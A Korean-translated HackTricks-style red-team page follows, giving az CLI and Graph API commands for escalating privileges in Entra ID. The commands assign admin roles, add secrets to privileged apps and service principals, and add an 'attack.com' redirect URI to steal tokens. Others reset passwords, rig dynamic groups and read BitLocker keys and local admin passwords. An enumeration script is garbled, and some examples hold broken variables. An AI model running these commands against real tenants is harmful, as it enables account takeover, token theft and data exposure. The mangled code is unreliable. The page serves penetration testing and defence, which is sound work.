Az - EntraID Privesc

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Note

Entra ID의 내장 역할이 가진 모든 세분화된 권한이 사용자 지정 역할에서 사용할 수 있는 것은 아님을 주의하세요.

역할

Role: Privileged Role Administrator

이 역할은 역할을 principal에게 할당하고 역할에 더 많은 권한을 부여할 수 있는 필요한 세분화된 권한을 포함합니다. 두 동작 모두 권한 상승에 악용될 수 있습니다.

  • 사용자에게 역할 할당:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • 역할에 더 많은 권한 추가:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

애플리케이션

microsoft.directory/applications/credentials/update

이 권한을 통해 공격자는 기존 애플리케이션에 (비밀번호 또는 인증서) 자격 증명을 추가할 수 있습니다. 애플리케이션이 특권 권한을 가지고 있다면, 공격자는 해당 애플리케이션으로 인증하여 그 권한을 획득할 수 있습니다.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

이는 applications/credentials/update과 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션으로 범위가 제한됩니다.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

자신을 owner로 추가하면, 공격자는 애플리케이션의 credentials 및 permissions을 포함하여 이를 조작할 수 있습니다.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

공격자는 tenant의 사용자들이 사용 중인 applications에 redirect URI를 추가한 다음, 새 redirect URL을 사용하는 login URLs를 공유하여 그들의 tokens를 탈취할 수 있습니다. 사용자가 이미 해당 application에 로그인되어 있다면, 사용자가 별도로 승인할 필요 없이 인증이 자동으로 진행된다는 점에 유의하세요.

또한 application이 요청하는 permissions를 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 user는 모든 permissions를 요청하는 prompt를 다시 수락해야 합니다.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

애플리케이션 권한 상승

As explained in this post 기본적으로 Application 유형의 API 권한이 할당된 기본 애플리케이션을 찾는 것은 매우 흔했습니다. API Permission(Entra ID 콘솔에서의 명칭) 중 Application 유형은 애플리케이션이 사용자 컨텍스트(앱에 사용자가 로그인하지 않아도) 없이 API에 접근하고 작업을 수행할 수 있으며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않다는 뜻입니다. 따라서 모든 Entra ID 테넌트에서 높은 권한을 가진 애플리케이션을 찾는 것이 매우 흔합니다.

따라서 공격자가 애플리케이션의 자격 증명(비밀 또는 인증서)을 업데이트할 수 있는 권한/역할을 가지고 있다면, 공격자는 새 자격 증명을 생성하여 이를 사용해 애플리케이션으로 인증할 수 있고, 그 애플리케이션이 가진 모든 권한을 획득할 수 있습니다.

언급된 블로그는 일부 일반적인 Microsoft 기본 애플리케이션의 API 권한을 공유했지만, 이 보고서 이후 Microsoft가 이 문제를 수정하여 이제는 더 이상 Microsoft 애플리케이션으로 로그인할 수 없습니다. 그러나 여전히 악용될 수 있는 높은 권한의 커스텀 애플리케이션을 찾는 것이 가능합니다.

애플리케이션의 API 권한을 열거하는 방법:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
모든 애플리케이션의 API 권한을 찾아 Microsoft-owned APIs로 표시 ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## 서비스 주체

### `microsoft.directory/servicePrincipals/credentials/update`

이는 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있도록 허용합니다. 서비스 주체가 높은 권한을 가지고 있다면, 공격자는 해당 권한을 획득하여 사용할 수 있습니다.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

새로 생성된 비밀번호는 web console에 표시되지 않으므로, 이는 service principal에 대한 persistence를 유지하는 은밀한 방법이 될 수 있습니다.
API에서는 다음 명령으로 찾을 수 있습니다: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

오류 "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."가 발생하면, 이는 SP의 passwordCredentials property를 수정할 수 없기 때문이며 먼저 이를 잠금 해제해야 합니다. 이를 위해 microsoft.directory/applications/allProperties/update 권한이 필요하며, 이 권한은 다음을 실행할 수 있게 합니다:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

이 권한을 통해 attacker는 기존 service principals에 credentials를 추가할 수 있습니다. 해당 service principal이 elevated privileges를 가지고 있다면 attacker는 그 privileges를 획득할 수 있습니다.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

애플리케이션과 유사하게, 이 권한은 service principal에 더 많은 소유자를 추가할 수 있게 합니다. service principal을 소유하면 해당 자격 증명(credentials)과 권한(permissions)을 제어할 수 있습니다.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

새 소유자를 추가한 후 삭제를 시도했지만 API가 DELETE 메서드를 지원하지 않는다고 응답했습니다. (소유자를 삭제하려면 그 메서드를 사용해야 함에도 불구하고) 따라서 요즘은 소유자를 제거할 수 없습니다.

microsoft.directory/servicePrincipals/disableenable

이 권한들은 service principals를 disable 및 enable할 수 있게 합니다. 공격자는 이 권한을 사용해 어떤 식으로든 접근할 수 있는 service principal을 enable하여 권한을 상승시킬 수 있습니다.

이 기법의 경우 공격자가 enable된 service principal을 인수하려면 추가 권한이 필요하다는 점에 유의하세요.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

이 권한들은 single sign-on용 자격 증명을 생성하고 가져오는 것을 허용하며, 이는 타사 애플리케이션에 대한 접근을 허용할 수 있습니다.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

그룹

microsoft.directory/groups/allProperties/update

이 권한은 사용자를 특권 그룹에 추가할 수 있게 하며, privilege escalation으로 이어질 수 있습니다.

az ad group member add --group <GroupName> --member-id <UserId>

참고: 이 권한은 Entra ID role-assignable groups를 제외합니다.

microsoft.directory/groups/owners/update

이 권한을 통해 그룹의 소유자가 될 수 있습니다. 그룹의 소유자는 그룹 구성원과 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 escalating privileges를 초래할 수 있습니다.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

참고: 이 권한은 Entra ID role-assignable groups를 제외합니다.

microsoft.directory/groups/members/update

이 권한은 그룹에 구성원을 추가할 수 있게 합니다. 공격자는 자신이나 악성 계정을 권한이 있는 그룹에 추가하여 권한 상승을 통해 더 높은 접근 권한을 얻을 수 있습니다.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 합니다. 공격자는 동적 규칙을 수정하여 명시적인 추가 없이 자신을 특권 그룹에 포함시킬 수 있습니다.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

참고: 이 권한은 Entra ID role-assignable groups를 제외합니다.

Dynamic Groups Privesc

사용자가 자신의 속성을 수정하여 dynamic groups의 멤버로 추가되면 escalate privileges할 수 있는 가능성이 있습니다. 자세한 내용은 다음을 확인하세요:

Az - Dynamic Groups Privesc

사용자

microsoft.directory/users/password/update

이 권한은 non-admin users의 비밀번호를 재설정할 수 있게 하여, 잠재적 attacker가 다른 사용자로 escalate privileges할 수 있게 합니다. 이 권한은 custom roles에 할당할 수 없습니다.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

이 권한을 통해 사용자 속성을 수정할 수 있습니다. 속성 값에 따라 사용자를 추가하는 동적 그룹을 흔히 찾을 수 있으므로, 이 권한을 이용해 사용자가 특정 동적 그룹의 구성원이 되도록 필요한 속성 값을 설정하여 권한을 상승시킬 수 있습니다.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

MFA를 요구하는 잘못 구성된 Conditional Access Policies는 우회될 수 있습니다. 확인:

Az - Conditional Access Policies & MFA Bypass

디바이스

microsoft.directory/devices/registeredOwners/update

이 권한은 공격자가 스스로를 디바이스의 소유자로 지정하여 디바이스별 설정 및 데이터에 대한 제어 또는 접근 권한을 얻을 수 있게 합니다.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

이 권한은 공격자가 자신의 계정을 디바이스에 연결하여 액세스 권한을 획득하거나 보안 정책을 우회할 수 있게 합니다.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

이 권한은 공격자가 Microsoft Entra에 조인된 장치의 백업된 로컬 관리자 계정 credentials 속성(password 포함)을 읽을 수 있도록 허용합니다.

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

이 권한은 BitLocker 키에 접근할 수 있게 하며, 공격자가 드라이브를 복호화하여 데이터 기밀성이 손상될 수 있습니다.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

기타 흥미로운 권한 (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기